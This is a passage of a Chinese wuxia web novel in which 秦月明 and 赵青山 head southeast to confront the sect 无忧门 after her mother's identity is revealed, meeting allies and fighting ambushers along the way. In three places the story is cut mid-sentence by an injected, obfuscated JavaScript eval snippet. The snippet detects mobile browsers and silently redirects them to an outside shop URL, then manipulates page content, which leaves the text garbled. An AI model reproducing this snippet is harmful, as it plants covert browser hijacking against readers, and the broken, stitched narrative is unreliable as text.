她立在高大的乔木顶端,看着一缕艳红的光芒从东方天空的云层中挣出,洒向人间—— 太阳出来了,今日似乎是个晴天。 于是秦月明的心境一如这晴空,明亮了起来。 明明身世暴露后,前路将肉眼可见的坎坷,她却觉心头大石落地,感到十二分的畅快。 一只灰扑扑的大蛱蝶翩跹而来,在秦月明面前盘旋飞舞,引得她腰间蛊笼中的蛱蝶蛊王蠢蠢欲动。 有人落在她身侧,调侃道:“外头都乱成一锅粥了,你这个罪魁祸首倒是清闲。” 秦月明转头看去,正望进一双深潭一般的眼瞳中,她眉眼弯弯,粲然一笑:“赵大侠。” “咳,”赵青山耳根一热,不自在地移开目光,一边打开手上的食盒一边道,“怎么又变回这个称呼了?” “习惯了,一时口快。”秦月明就地盘坐,接过赵青山递来的湿帕子擦了擦手。 赵青山也盘腿坐下,将七星高放到一旁的枝桠上,双手各捧了两盘菜,给秦月明充当人肉桌子。 秦月明毫不客气,就这样提箸用起饭来。 赵青山拿来的都是秦月明爱吃的菜,口味适宜,份量也刚刚好,恰让秦月明吃个八分饱。 她随意从袖中掏出一块棉帕擦拭嘴角,随后松开手去,任帕子被穿林风刮去,看着赵青山收好食盒,挂到树枝上,她稍歪了歪头,道:“你没有什么想问的么?” “有。”赵青山抬眼看来,神色郁郁,“你脾胃虚弱是小时候落下的病根——陈花饶待你不好?” 秦月明愕然,眼睫一颤,直直望进他眼中。 · 长乐城时期的秦月明是名副其实的少城主,一人之下万人之上,偏那唯一在她之上的人是陈花饶,一个偏执成性的疯子。 自幼时起,陈花饶便因出众的容貌受尽宠爱,后来又因此获得了至高无上的权力,造就了她极端看重容貌的性格。 纵然最终功败垂成,流落江湖,她对美貌的追求却不曾有丝毫削弱,甚至更加执着。 秦月明说是陈花饶的亲生女儿,不如说是她最满意的作品。 从秦月明有记忆起,便被陈花饶要求行止有度,寝食有方,不可做出半分损伤外貌气度的事情,稍有差错,便会受到惩罚。 其中在吃食方面,陈花饶只让她食素饮蜜,不得沾半点辛辣荤腥,以免身有异味。 长年累月下来,秦月明的脾胃便再受不得任何刺激。 这些经历,秦月明并不想让赵青山知道,挑起眉梢,道:“无论她对我好是不好,我这般都算忤逆不孝,没甚好说的。” “有此生母,不大义灭亲已算得上孝顺了。”赵青山眉心一拢,没有继续追问,而是换了个话题,“你之后打算如何行事?” “先去趟东南,把无忧门解决了。”秦月明眉宇间漫上丝丝缕缕的烦躁,以及凛冽的杀意,“送一些早该去死的人入土。” “你的身世很快将传遍江湖,此行只怕不会顺利。”赵青山眉头皱得更紧了。 “所以你愿意和我一起去么?”秦月明定定地看着他。 “……我?”赵青山愕然,眼中划过一抹亮光,“当然愿意,但是为何?” 秦月明眼尾一压,神情中显出几分楚楚可怜的意味:“东南是裴云光的地盘,我此去必将与他再次交锋,独我一人,远不是他的对手。” 赵青山虽知她这副样子一分真九分假,仍是心绪浮动,热血上涌,不自禁地摩挲着七星高的刀鞘,道:“有我在,必不会让海魔伤你一根毫毛。” “多谢。”秦月明眨眨眼,眉梢流泻笑意,“赵青山。” · 金仆姑乃陈花饶之女的事一经传出,如在滚烫的油锅里洒了一把盐,整个武林都炸开了锅。 这次的消息由三位德高望重的正道名侠曝出,据说还是金仆姑本人亲口承认,无可置疑。 赵青山回到浮来春园,便见自家义女正在前厅转圈,不由眉梢一扬,道:“你拉磨呢?” “义父!”陈书灯眼睛一亮,顿住脚步,几个跨步走到近前,有些语无伦次道,“秦前辈……她真的……怎么会……” “凤凰生于鸮窝,非凤凰之过。”赵青山睨她一眼,语气平淡道,“武林中风向如何?” 他目光中的漠然如一盆冰水浇到陈书灯头顶,陈书灯微不可察地打了个寒噤,冷静下来,乖乖回答:“大家大概都被这消息震住了,眼下还没怎么反应过来,不过社里有人提出要季前辈卸下领头之责,因她与秦……秦前辈是好友。” “还、还有,”陈书灯小心翼翼觑着他的脸色,道,“剑尊出面主持武林大会时,有人问了他这件事,剑尊说,‘邪门歪道,人人得而诛之’。” · “谢、剑尊真说了这样的话?”驴车上,秦月明贴□□的动作一顿,抬眼问道。 她头上还戴了一顶帷帽,透过纱网,所见皆朦胧,让她颇不习惯。 “千真万确。”赵青山一边赶驴车一边说道,又将其他相关消息一一说来,譬如清风社三位领头人都已离任,其中清武是自请离社,回寺继续参禅去了,师焱是因师山与秦月明有旧被劾;裴云光在黑白两道发布追杀令,悬赏秦月明项上人头;白马寨…… 秦月明正在思索剑尊诡异的态度,猛地听到“白马寨”三个字,顿时回了神:“白马寨怎么了?” 她和沈潜都不在,倘若有人找麻烦,不知道荀风他们应不应付得来? 想到这里,秦月明又有些纳闷,赵青山不时往她身边凑,是怎么安排沈潜这个身份的,居然这么久都没露馅? “白马寨没事,只是杀了几个不长眼的家伙,然后失去参加武林大会的资格罢了。”赵青山轻描淡写道。 秦月明同样不觉得这是什么大事,如今的白马寨声望昌隆,已不需要通过在武林大会出风头的方式来锦上添花。况且此次武林大会猫腻重重、暗流涌动,能及时脱身也是好事。 她下意识操心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960609|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下白马寨弟子回西南途中的安全问题,忽听得前方一阵喧闹。 此时距离秦月明身世曝光、离开恒京已过去了三天,她和赵青山正在赶往下一座城镇的路上。 赵青山回想地图,眼神一冷:“前面正是我们必经的一处关隘。” 许多时候,消息都能比人走得快些,三天时间,足够秦月明的身世传遍江湖,也足够他人设下关卡,围追堵截。 秦月明敲了敲驴车木板,道:“又不是裴云光亲至,问题不大。” 易容乔装只是为减少麻烦,并不意味着他们怕麻烦。 关隘处果然杵着好几个江湖人,他们抢了守卫士兵的活儿,一个个检查过关之人。 为防被易容蒙混,他们旁边还摆了一口大缸,过路人必须舀水洗一把脸。 当今江湖,还没有能遇水不显异样的□□,更别提轻轻便能被水洗去的化妆乔装了。 看到他们身上的葫芦图案,许多愤愤不平的人都选择了沉默。 赵青山“啧”了一声,道:“是福禄派的弟子,他们也跟长乐城有仇?” “现任福禄派掌门云去的同胞兄长被一位长乐城弟子掳掠后献给陈花饶,”秦月明敛容传音,“长乐城破后,云去并未找到兄长的……痕迹。” 陈花饶自不可能整天无事可做到处寻觅美人充盈榴宫,其中更多的还是门下弟子或前去投奔的人投其所好进献的,如此多方搜罗,“全盛”时期的榴宫足有七八百人,加上长乐城作恶多端、杀人放火所结下的仇怨,陈花饶的仇人可谓遍布武林—— 而这些仇恨现在都转移到了秦月明身上。 想到此处,秦月明沉沉叹了一口气。 “你愁什么呢?”赵青山看过来,“难道还怕这几个小虾米不成?” “只是有些后悔拒绝你的提议了。”秦月明掀开驴车木板,露出下方的弓箭和横刀。 赵青山眼睛一亮,抓过七星高:“那现在?” “别杀人,”秦月明提弓下车,道,“闯过去。” “成。”赵青山冲了出去。 飞白镜中,残影阵阵。 几名福禄派弟子只觉身上一麻,连人影都没看到,便被点了穴道,动弹不得,不由心下大骇。 秦月明见无自己的用武之地,随手将驴从驴车上解了下来,牵着它越过关隘。 赵青山抱刀跟在她身后,道:“你怎么突然改变主意了?” 之前他就说不用搞什么易容,他们俩联手,对上剑尊海魔都有一战之力,况且如今山谢海裴都在恒京折腾那武林大会,他们更不必如此躲躲藏藏,不如直接杀到东南,解决无忧门。 至于那些因追杀令而来的人,自然是来一个杀一个,来两个杀一双;若是来向秦月明寻仇的,也可以留其一命。 秦月明行事怀柔惯了,杀性也没有赵青山这般重,自然是拒绝了他的想法。 但方才福禄派的出现让她想到一件事,那个冒牌的陈宓听到此消息后,会有何反应? “我有不祥的预感。”秦月明看向东南的天空。 37. 唯有南风旧相识 东南,饶州,冷泉山庄。 二公子的葬礼才过去不久,庄中气氛犹有三分冷寂。 此刻已是黄昏,不知何处传来一片呕哑鸦叫,为陆鹤的神色蒙上一层更深的阴翳,在他对面,阳素名慢悠悠地转着刀,道:“三日之期已到,陆庄主考虑得如何了?” 陆鹤面如金纸,声音嘶哑道:“陆某愿率冷泉山庄上下,为宓娘娘效犬马之劳。” “如此甚好。”阳素名好似看不出他脸上的勉强,洒然笑道,“听说庄主与前山派、西水门有些交情?” “在下会与越兄、楚兄交涉,邀他们一起为宓娘娘效力。”陆鹤闻弦歌而知雅意。 目的达到,阳素名不再久留,正待离开,耳中却传来一道细微的声音:“云鹤道子本前途无量,何必跟着一个冒牌货蹚浑水呢?” 他看向毫无所觉的陆鹤,眉梢微挑,忽的扬声道:“陆庄主且宽心,我师姐可不是什么冒牌货,当初花娘娘诞下双生女,因觉不祥将其中的妹妹送走,便是我师姐陈宓。” 陆鹤莫名,既不知他为何突然说这一番话,又不知什么地方有双生子不祥的习俗,但忆起无忧门逼自己上贼船的手段,他也不敢多问,只含混应了两声。 至于心头有几分信,便不足为外人道了。 双生女,呵! · “那冒牌货真会编。”赵青山擦拭着刀上的血渍,回想方才问出的消息,“啧”了一声。 秦月明指腹划过弓弦,细细检查,眼也不抬道:“她还需借着这身份搜罗长乐城留下的后手,可不得使劲儿编。” 赵青山稍微凑过来,细细看了片刻,才发现弓弦上已经有了些小裂口,眉梢一扬,道:“我收藏了一卷苗疆天蛛丝,柔韧无比。” 再无他话。 “哦。”秦月明语气平平。 “你……”赵青山眉眼一敛,正想说些什么,又猛地皱眉,看向头顶。 峡谷窄长,仰头望去,只见晴空一线,蜿蜒如古画中神女的飘带。 两侧石壁高|耸,灌木丛生,正是伏杀的绝佳之地。 不过五十里的峡谷,秦月明与赵青山已迎接了三拨暗杀者,眼下看来又要面临第四拨。 秦月明眼尾一压,反手取箭,七星连珠,疾射而出。 “阴魂不散。”赵青山也挥手扬起一片刀气。 他们先发制人,显然打了埋伏者一个措手不及,灌木丛中响起一片惨叫,几道人影直直坠|落下来,又有一片砂砾般的东西和着血色洒落下来。 两人飞身躲开,赵青山嗅了嗅,神色一动:“昧心椒。” 秦月明挥出掌风,将昧心椒壳破裂后喷出的毒烟往另一边拂了拂,若有所思:“江湖上这种乱人心志的东西是不是太多了些?” “……自前朝险些因失心之毒提前改天换日,整个江湖便认识到这种东西的厉害之处,自有人心动。”赵青山低声道。 “人心之毒,甚于蛇蝎。”秦月明感慨了一句。 两人你一言我一语地说着话,手上却毫不含糊,刀光箭影交错,不消片刻,地上便多了十几具尸体。 秦月明向前飞冲出去,躲开蔓延的血腥味。 赵青山从一旁灌木叶子上捡起几粒未裂开的昧心椒,施展飞白镜,窜到秦月明身边,在路上留下道道残影。 “千金谷的东西。”他皱了下眉,脸色不太好看。 千金谷是位于中原潞州的百年名门,曾与鹧鸪天和翻雪门并列为江湖三大岐黄圣地,深受武林人士推崇。 然而两年前,一位江湖人士在追查失踪好友的踪迹时,发现千金谷少主魏朓暗中囚禁求医之人,做各种残忍实验。 此事大白于天下,最终以魏朓潜逃无踪,谷主夫妇自戕结局,千金谷声望地位自此一落千丈,泯然江湖。 而那位江湖人士便是赵青山。 “千金谷现任谷主郑冉出了名的老实忠厚,没有这等搅入风波的胆子。”秦月明沉吟道,“莫非是魏朓?” 赵青山又擦起了刀:“八成是他。” 前方便是峡谷出口,隐约可见一队执枪巡逻的人马,步伐整齐,军容整肃。 哪里来的兵马? 秦月明脚步稍顿,与赵青山对视了一眼,还未说什么,便有一位铁甲银盔的英俊小将走过来,停在两人不远处,拱手道:“在下祝铮,奉林知州之命在此等候赵大人。” “林知州,”赵青山略作沉吟,问道,“林敖?” 听到这个名字,秦月明眸光微动。 “正是。”祝铮答道。 赵青山迟疑地看向秦月明,眉头轻皱。 秦月明知他在为难什么,心中冷笑,眼尾一扬,只定定回望,不发一言。 哪知祝铮又变戏法儿似的从腰间佩囊中掏出一封帖子,道:“少夫人久慕秦女侠风采,特邀女侠过府一叙。” · 秦、赵二人进了林府后便分散开来,赵青山去了前院,秦月明在林府下人的带领下一路到了后院一座小花园。 盛夏时节,草木葱郁,青绿的枝叶将园中一众锦绣彩衣的女子衬得更加娇艳秀丽。 为首女子不过双十年华,一身华贵的大袖纱罗衫,眉目如画,温和雅致,看到秦月明的身影双眼便是一亮,起身相迎:“秦女侠。” 秦月明不着痕迹地打量此女,心下纳闷。 仿佛看出她的疑惑,女子屏退侍女,亲自引秦月明至凉亭中坐下,含笑道:“妾姓徐,单名一个‘华’字,今日相邀,只因感念女侠为妾外祖报仇之恩。” 徐华之母便是当初悬赏商山七虎的出嫁女,石泉县云来客栈那位掌柜拿着七虎的人头前去领赏,却不敢隐没秦月明的功劳,俱以实情告知。 但是—— “夫人认错人了罢?”秦月明不动声色道。 石泉县时她为避人耳目,专程易了容,自称姓“沈”,常凤歌作为飞耳阁阁主,耳目通天,知晓她的真实身份不算意外,徐华一个普普通通的官宦贵女又是从何得知的? 徐华一愣,微不可察地四下张望,随后压低声音,道:“家父与上任飞耳阁总阁主有些交情…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008348|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 秦月明眸色一深。 飞耳阁分阁光明正大伫立天下各州镇,总阁倒是藏头露尾,江湖中人只知它在恒京,具体在何处却是不得而知。 至于统领整个飞耳阁的总阁之主,就更神龙见首不见尾了。 除却每次随江湖谱更新的评语,外界再无了解总阁主的渠道,那位盛赞秦月明,为她冠以“金仆姑”之名的前总阁主在飞耳阁历任阁主中已算外向之辈。 据徐华所言,这位飞耳阁的前任总阁主虽已离任,但现任总阁主乃其亲子,加之经营的多年威望,他手中仍掌控着不少隐秘的情报线。 “这是那位前辈托家父交与女侠的东西。”徐华自袖中掏出一柄小巧的绿玉折扇递过来。 秦月明扫过折扇尾端不起眼的一抹线条,眉心一跳,抬手接下折扇藏入怀中。 了却一桩事,徐华神色稍松,轻轻拍掌,便有一名侍女拿来个小包袱放在亭中石桌上,随后施礼退下。 徐华亲手解开包袱,露出一卷火红的细丝并一葫芦一木盒:“听闻女侠素有‘江湖第一弓’的美名,这是妾命人寻来的火蚕丝,正合做弓弦;这是兽油与蜡油,可用于护理兵器。” 这礼物算是送到秦月明心坎上了,当初她从白马寨轻装出走,只带了些许钱财,后来思君弓回到手中她都不好打理,到翻雪门后倒是蹭了赵困雪的收藏,但身世曝光后为不连累对方,这条路也断了。 屋漏偏逢连夜雨,这趟东南之行,为应对层出不穷的追兵,她频频使用内力化箭,弓弦不堪重负,已是强弩之末。 秦月明知道,只要她说句软话,赵青山便会把她需要的东西奉上,但基于某些复杂的情绪,她并不想如他的愿。 “我正缺这些东西,”她爽快收下了徐华的赠礼,“如此,便多谢少夫人了。” 待赵青山与林敖叙完旧来与秦月明汇合,一眼便看到了思君弓焕然一新的弓弦,神情一僵:“这是?” “林少夫人送的。”秦月明简单解释了一句,看向他身后两匹神骏的马儿,“这两匹马哪儿来的?” “……林敖送的脚力。”赵青山目光仍流连在思君弓上,眼中有微不可察的悔意,过了片刻才说起另一件事,“林敖的私兵探查到无忧门的踪迹,祝铮绘了路线图,我们去看看?” 林家先祖乃本朝开国的两位国公之一,功勋卓著,太祖皇帝特赐予其蓄养私兵之权,而林敖乃当代的林家长子,因种种缘由做了这衡州知州,家主作主让他带了一队私兵上任。祝铮便是这队私兵的队长。 衡州已是东南地界,秦月明与赵青山一路行来,除了愈发多的追兵,未得半点无忧门的线索,林敖提供的消息正是雪中送炭。 但这消息可信么? 秦月明本不该怀疑,林敖除了那层权贵之后的身份外,还是沈潜的至交好友,沈家出事后,他曾对白马寨施以援手,秦月明能顺利在武林中打出名声,也有他的手笔。 然而,想起临别时徐华在自己手中写下的字迹,秦月明便不由心生警惕。 “小心林敖。” 38. 为天且示不平人 衡州前些时日连下了近十天的雨,这几天又是艳阳高照,两相碰撞,搅弄出一片让人难以忍受的湿热。 城中市集已闭,街道上人影稀疏,秦月明在路边店铺的房檐下辗转腾挪,避开炽烈的日光,钻进一家名为“黄松堂”的药铺。 伙计伏在柜上打着瞌睡,浑然不觉,秦月明将门板敲得哐哐响,才见他双眼惺忪地抬头:“谁啊?” “我从东栏山来,找你家掌柜。”秦月明道。 听得此话,伙计眼神霎时清明,搓手笑道:“客官莫不是在消遣小的,东栏山是什么地方,小的从未听过。” “是你见识浅短,只管让你家掌柜的出来。”秦月明甩出六枚铜板,俱是正面。 伙计不动声色地看了眼柜面,笑容顿时殷勤,一边把铜板往袖子里收,一边道:“好的,客官稍等。”便转身哧溜绕过高大的药柜,不见踪影。 不一会儿,一个脸蛋圆圆,体态也十分圆润的小女孩走出来,看到秦月明,她眯起一双大大的杏眼,浑身散发着雀跃的气息:“月师父。” 她声音沙哑,全然不似外表般稚嫩。 “阿玉,”秦月明眉梢微扬,眉宇间漫上几分笑意,“你怎么在这儿?” 黄玉,赵困雪的亲传徒弟之一,排行第八,虽生得这副幼童模样,实际已二十有五。 她因患有侏儒症,被亲生父母卖给一家路过的杂戏班子,后来又意外流落到一个江湖怪医手中,当了三年多的试药人。 大约五六年前,陆曦奉赵困雪之命下山采买药材,发现怪医踪迹,遂与几位江湖客联手除去此獠,救出了黄玉在内的三名试药人。其他两名试药人俱是男子,尚能各归其家,黄玉却是无处可去,陆曦便将她带回翻雪门,让她做了自己的师妹。 不过由于那几年试药经历的阴影,黄玉对学医有些排斥,反倒热衷于习武,可惜赵困雪这个做师父的功夫只是三流,除了基本功再无甚可教。 当时恰逢秦月明到中原办事,暂住翻雪门,赵困雪便把主意打到了她头上。 秦月明抽空教了黄玉大半个月,临走前还为她寻摸了一本合适的心法。 黄玉资质不错,又十分刻苦,不到两年武功就大有长进,在江湖上已算得上二流高手。 两人虽无师徒之名,却有师徒之实,有鉴于此,在赵困雪的默许下,黄玉便也唤秦月明一声师父。 “之前江湖结清风社讨伐无忧门折戟,我恰好无事,便跟着一起来了。”黄玉道,尔后倏地笑意一敛,眼中杀气弥漫,“倒错过小人作乱。” “这江湖最不缺的便是小人,不必置气。”秦月明淡淡道,敲了敲柜面,“我要的东西?” “师父早已传讯,您想知道的消息我们都查到了。”黄玉轻快地打了个响指,只听一阵脚步声,之前那伙计捧着一个木盒走出来,恭敬地放到柜台上,随后默默退下。 黄玉将其打开,推到秦月明面前,做了一个“请”的手势。 秦月明垂眸,只见里面是厚厚一沓信纸。 信上消息都是由密语写就,一叠信纸,份量并不重,却承载着足以搅动整个江湖的惊天秘密。 看清第一条消息,秦月明微微眯眼,眸中闪过一缕暗光。 “……四海门的人已经找到远山剑,正秘密护送其回中原……” 赶赴东南前,秦月明曾给赵困雪去信,除了劝阻他不要冲动行事,也为让他帮忙处理另外一些事。 飞耳阁屡次冒犯,秦月明自然不可能忍气吞声,早在将常凤歌放回去时便已定好报复的策略,只是后来得知飞耳阁背后之人是当今天子,才暂时搁置了计划。 但这并不意味着她就此放弃,只是进行了更细致谨慎的安排,而此次身世曝光,她顺水推舟离开中原,对付无忧门是其一,另一方面也是为将自己从计划中摘出来—— 她并不想引起飞耳阁背后的天子注意。 · 四海门在三十多年前可谓是赫赫有名,弟子遍布中原,堪称武林第一大帮,当初正是他们的门主在飞耳阁中买到前朝秘宝相关的情报,却不知怎的走漏了风声,在江湖中掀起一场腥风血雨。 在这场动乱中,四海门门主、副门主、长老尽皆惨死,门下弟子十去八|九,曾经的第一大帮就此烟消云散。 幸存的四海门弟子改头换面,躲过风头后,又渐渐聚集起来,重建门派,但往日风光不复。 他们一直在追查当初秘宝情报泄露的真相,毕竟这是四海门败落的源头,经过这些年的不懈努力,他们终于找到了线索—— 远山剑向风南,这位本应该随着前朝古墓塌陷而死去的江湖名侠竟还活着! 并且,四海门弟子还从他口中得到了他们一直寻找的答案:泄露前朝秘宝情报的正是售卖消息的飞耳阁,甚至整个前朝秘宝事件背后都隐藏着飞耳阁的阴谋。 四海门大惊,却不敢擅专,这个秘密涉及之广,已不是他们这个小门派能作主张的了。 当年前朝古墓因机关崩毁,进入其中的江湖高手悉数丧命,整个武林元气大伤,直至如今都未完全恢复。 现任四海门门主韩金虹决定带向风南回中原,揭穿飞耳阁的真面目。 但向风南隐遁乡间已久,子孙满堂,无意再淌江湖浑水。 “我们能找到你,耳目通天的飞耳阁自然也能,”韩金虹警告似的道,“你不念江湖道义,不念当初葬身阴谋下的几百条冤魂,也该为你的子孙考虑,你觉得飞耳阁会放过你,放过他们么?” 向风南明哲保身,明知飞耳阁恶行却不揭穿,实在让韩金虹厌恶,自然没什么好声气。 “……我跟你们走。”向风南脸上密布的皱纹一条条抖动起来,他曾是侠义无双、武功高强的剑客,本不该老得如此之快,但他在逃出古墓时受了重伤,这些年又一直被心中的秘密折磨,看起来竟比普通的同龄老人更加苍老。 逃避了这么多年,终于到了逃不过的这天。 向风南唤来妻子儿孙并家中其他晚辈,满怀不舍地并叮嘱他们以后要隐姓埋名,切不可与自己扯上关系,随后托韩金虹派人将他们送走,这才拿出自己已生锈的宝剑,与四海门一起赶往中原。 这一行人离开后不久,便有一队身影诡异的黑衣人趁夜而来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064358|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,循着他们留下的蛛丝马迹追踪而去。 · 飞耳阁已入套,有常凤歌在,秦月明并不担心中途翻船,她翻开下一张信纸,正是无忧门的消息。 衡州城外有一座名为“鸟不飞”的山脉,重峦叠嶂,险峻异常,就连本地最为老道的猎户都不敢深入。 无忧门却在里面建了一座山庄,曾有人看到陈宓及其心腹多次出入其中。 这倒与林敖提供的情报别无二致,甚至林敖的要更详细些,还有地图。 秦月明稍作沉吟,正要翻看其他消息,忽的一顿,将信纸往怀中一揣,另一只手飞速取下长弓,回身迎上一道雪亮的剑光。 电光石火之间,弓身与剑刃相格,剑的主人才露出真容—— 那是一位须发皆白的老者,身着道袍,神态飘逸。 “你是谁?”黄玉喝道。 老者不语,又出了几招,俱被秦月明挡下,身上内力一放,一股恐怖的压力瞬间在药堂中弥漫开来。 黄玉神色大变,身体却动弹不得,只得恶狠狠地注视着老者。 秦月明却是面色不改,向她摆摆手后飞快拍出几掌,老者顺势后退躲避,直到两人都退到黄松堂外,才又提剑挥出。 “哐!”“铛!” 清脆铿锵的兵器交击声在门外响了片刻,便渐渐远去。 黄玉好不容易压下沸腾的气息,赶到堂外,只隐约见到两条人影几个腾跃,便消失无踪。 她按下心头的焦急,那老者出手颇有分寸,未曾毁坏药堂中任何东西,应不是什么奸恶之徒,而且方才秦月明的神态并不似遇上敌人,反像是见到故人。 · “不错,”近三十回合后,老者收剑停手,对秦月明赞许道,“武功大有长进。” 秦月明也收起长弓,恭敬行礼,唤道:“罗前辈。” 此人正是沈有思的师父,当初大破长乐城的武林名宿——“仙客”罗赞。 “怎么只有你,沈潜没和你一起?”罗赞问道。 秦月明一顿,含混道:“……他另有要事。” 她并不知道罗前辈是否了解沈潜的另一重身份,只能如此回答。 罗赞点点头,也不追问,转而问道:“你怎么在这儿?” 秦月明知罗赞一直在山中清修,求仙问道,不问世事已久,遂将无忧门之事娓娓道来。 关于长乐城以及她的身世,罗赞俱是一清二楚,因此秦月明并未作丝毫隐瞒。 “竟是如此。”罗赞听完她的讲述,神情一肃,“当初……陈花饶与东南的豪强大族多有勾连,不过她死后,这些人都沉寂了下来,那冒充你的人想必是想借你的身份重新拉拢他们。” 秦月明也猜到此节,道:“想是如此,所以我才赶来,阻止他们酿成大祸。” 罗赞看着她忧虑的神情,笑着道:“很好。” “我们必须尽快动手,此次吉州洪水来得古怪,背后依稀有这些人的手笔。”很快,他又恢复了肃穆沉凝的神情,沉声道,“一群草菅人命的畜生!” 秦月明猛然抬头,惊声道:“什么?!” 39. 众里寻他千百度 吉州,吉水镇驿站,正午时分。 “驾!”“驾!”…… 官道上,六匹快马疾驰而来,马上之人在驿站门口滚鞍下马,其中两名男子各掏出令牌和文书给驿丞看过,高声道:“换六匹喂足食水的好马,给我们上些好菜好饭。” 驿丞连忙唤来驿吏牵马备马,自己引着六人进了驿馆安坐,随后忙不迭地去后院吩咐厨房准备饭菜。 “记着,别耍滑头,用最好的食材,拿出你们最好的手艺来。”驿丞认真叮嘱道。 厨子一听便知是来了大人物,连连点头。 前头驿馆大堂,一名容貌平平,生着一双招风耳的男子侧耳片刻后,向同伴们点点头。 众人都肉眼可见地松懈下来,其中一名皮肤白皙,五官秀丽者将手从腰间鞭子上放下,道:“看来那群人没发现我们的踪迹。” 声音清脆如银铃,一听便是女扮男装,若是秦月明在此地,便能认出此人正是陈书灯。 坐在陈书灯对面的男子五官刚毅,眉宇间与陈书灯有五分相似,左侧脸颊有一条不太显眼的寸长伤疤,给他增添了几分凶戾的气质。 听了陈书灯的话,男子摇摇头,道:“不可松懈,那群人既然敢如此冒天下之大不韪,必不会只有这点手段。” 陈书灯翻了个白眼,下一刻就感觉脚上一痛,耳中传来自家兄长恨铁不成钢的声音:“仪态,仪态,堂堂郡主,怎可如此不雅。” 她毫不客气地反踩回去,同样内力传音:“先管管你自己罢,谁家郡王脸上顶块大疤。” 在战场上立下赫赫功劳,由当今天子亲封的“武阳郡王”,陈书灯的同胞兄长陈越面上仍一副冷肃做派,脚上却幼稚地和陈书灯角力起来,一边还说着正事:“趁他们被赈灾队伍吸引注意,我们先去吉州看看情况,切记不要暴露身份。” 另一张桌子上,三人肃然应诺,剩余一人慢了片刻,才跟着飞快点头。 这名青年五官端正,有几分俊秀,只是神情畏缩,看起来窝窝囊囊的。 陈书灯目光在他身上扫过,暗暗跟陈越传音:“这样一人,真能带着那群人的谋反证据,躲过追杀,千里迢迢从东南走到恒京?” “人不可貌相。” “这也太不可貌相了。”陈书灯嘀咕一句,也为多作关注,转而担忧道,“不知义父和秦前辈现在何处,公羊世家、无极窟、天涯帮……几乎大半个江湖都参与了对他们的追杀……” 说到最后,她的语气泄露了几分迷茫,“义父什么时候和秦前辈关系这般好了,竟不顾声名受损与她一起对抗武林同道。” “他何时在意过名声,”陈越不以为意,眼神闪了闪,道,“如今之事,说不得他还乐在其中呢。” · “嚏!” 赵青山被自家义子义女念得打了个喷嚏,眉头微皱,对上秦月明的目光后又舒展开来,重新打开手上的地图辨认过后,道:“穿过这棵榕树,再走一段路程,便可看到那座山庄。” “那些人竟能在这里面建起庄子,”一旁的罗赞深深皱眉,“背后不知又有什么勾当。” 鸟不飞中林木茂密,地形复杂,稍不注意就可能迷路受困,最致命的是,山林中千百年来的枯枝败叶、鸟兽尸体层层堆积腐败,形成了浓厚的瘴气。 无忧门所修建的秋毫山庄,正坐落于瘴气密林之中。 三人脸上都戴着黄玉提供的面巾,备了药水,以防御瘴气之毒。 秦月明跳上那棵巨大的榕树,眺望片刻,落回地面,指向前方道:“林木掩映,山岚遮眼,没看到什么庄院,不过大约二十里开外不时有飞鸟惊起,有些异样。” “那正是秋毫山庄所在。”赵青山拿着地图,走在前头继续带路。 罗赞快步跟上,秦月明稍迟半步,便落在最后。 “小明月,沈潜的事什么时候能办完?”走了几步,罗赞忽然出声问道。 “……我不知道。”秦月明下意识看向赵青山,敏锐地从他的背影中品出几丝僵硬。 罗赞仿佛来了谈兴,感叹似地道:“你们两个如今也算是苦尽甘来,不知准备何时成亲啊?” 他沉迷修道,消息闭塞,白马寨又有意掩埋,是以并不知道两个小辈决裂一事。 十多年前,沈家父母尚在,罗赞还在云游四海,偶尔会到白马寨住一段日子,亲眼见证了两个小孩如何从相看相厌到亲密无间,与其他长辈一起默认了两人将来会成就良缘,谁知后来…… 想到那起惨烈的意外,罗赞心头大恸,赶紧转开思绪。 唉,看来自己修道多年,仍未能达到圣人鼓盆而歌的超脱。 秦月明并不知道罗赞的愁肠百转,打量了一会儿赵青山愈发局促的背影,才貌似羞涩地提高了声调,用有些埋怨的语气唤道:“罗前辈。” 老人家这一生,年少丧父丧母,青年妻亡子夭,及至年迈,又遭受爱徒灭门之殇,秦月明不欲再让自己与沈潜的事给他徒增烦恼,因此并不打算将真相告知。 赵青山应也是有此顾虑,才不曾与这位师祖相认。 “你啊,脸皮还是这么薄,”罗赞笑呵呵道,“男大当婚女大当嫁,你为沈潜守了这么多年,如今柳暗花明,该将亲事办一办啦。” 说着,他还转向一直沉默的赵青山,“赵小子,你说是不是?” 秦月明看着赵青山僵硬的步伐,几乎要笑出声来,此时她已反应过来,罗赞是看出她与赵青山之间有些不对劲,为自家徒孙排除情场对手呢。 